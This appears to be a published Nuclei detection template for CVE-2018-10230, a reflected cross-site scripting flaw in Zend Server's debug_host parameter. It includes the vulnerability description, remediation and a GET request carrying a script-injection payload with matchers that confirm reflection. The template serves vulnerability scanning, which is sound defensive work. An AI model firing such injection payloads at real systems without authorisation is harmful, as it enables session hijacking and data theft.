Zend Server <9.13 - Cross-Site Scripting

ID: CVE-2018-10230

Severity: medium

Author: marcos_iaf

Tags: cve,cve2018,xss,zend

Description

Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.

YAML Source

id: CVE-2018-10230

info:
  name: Zend Server <9.13 - Cross-Site Scripting
  author: marcos_iaf
  severity: medium
  description: |
    Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf
    - https://www.zend.com/en/products/server/release-notes
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10230
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10230
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43069
    cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zend
    product: zend_server
    shodan-query: cpe:"cpe:2.3:a:zend:zend_server"
  tags: cve,cve2018,xss,zend

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "is not allowed to open debug sessions"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008ec1384d45645690a3c1723cf98f9e9448ee8817247ac102949a76659755b18102206444758b577e35e2e3819cd8c3ff235449d1ba38842821626fcc9d5dadeb039b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-10230.yaml"

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